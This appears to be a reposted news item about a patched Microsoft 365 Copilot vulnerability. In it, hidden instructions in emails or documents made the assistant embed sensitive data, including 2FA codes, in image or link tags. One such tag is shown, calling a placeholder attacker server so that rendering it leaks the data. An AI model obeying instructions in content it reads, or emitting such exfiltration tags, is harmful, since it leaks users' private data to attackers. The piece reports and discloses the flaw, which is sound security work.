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Copilot's Gullibility Let Attackers Steal 2FA Codes Via Image Tags

arstechnica.com@threat_watch3 hours ago·Cybersecurity·3 comments

Microsoft patched a max-critical vulnerability that allowed attackers to exfiltrate 2FA codes and other sensitive data from emails using markup language hidden in third-party content.

microsoftm365 copilotprompt injectioncybersecurityvulnerabilityllm security

Attackers could siphon your 2FA codes straight out of Microsoft 365 Copilot using nothing but a hidden image tag. That's the core finding researchers disclosed Monday after Microsoft patched the vulnerability last Tuesday with a max-critical severity rating.

The Root Cause: AI Bots Can't Tell User Instructions From Attacker Content

Every LLM assistant, including Copilot, has a fundamental blind spot: it cannot distinguish between instructions from the user and instructions embedded in the third-party content it summarizes or acts on. When Copilot processes an email or document containing malicious markup, it treats the attacker's hidden commands as legitimate directives. Microsoft and its peers have tried to guard against this with layers of ad-hoc filters, but the underlying gullibility remains incurable.

How Image Tags Bypass Copilot's Exfiltration Guardrails

Copilot and most other LLMs have guardrails that block direct actions like submitting web forms or sending emails, which could be used to exfiltrate data. The researchers worked around this using plain HTML markup language that doesn't require a form submission. By wrapping sensitive data inside tags like <img src="http://attacker-server/leak?data=..."> or <a href="...">, they triggered an outbound web request to the attacker's server when Copilot rendered the content. The secret information showed up in the server logs. No user interaction required.

What the Patch Actually Fixes (And What It Doesn't)

Microsoft's patch addresses the specific markup-based exfiltration technique, but the underlying architectural vulnerability persists. As long as Copilot processes untrusted third-party content with access to private user data, similar bypass methods will surface. Researchers expect a cat-and-mouse cycle of new guardrails and new workarounds.

For now, users should apply the patch immediately and remain skeptical of any Copilot interaction involving unsolicited emails or documents until Microsoft addresses the root classification problem.

Source: Critical Copilot vulnerability allowed hackers to seal 2FA code from users
Domain: arstechnica.com

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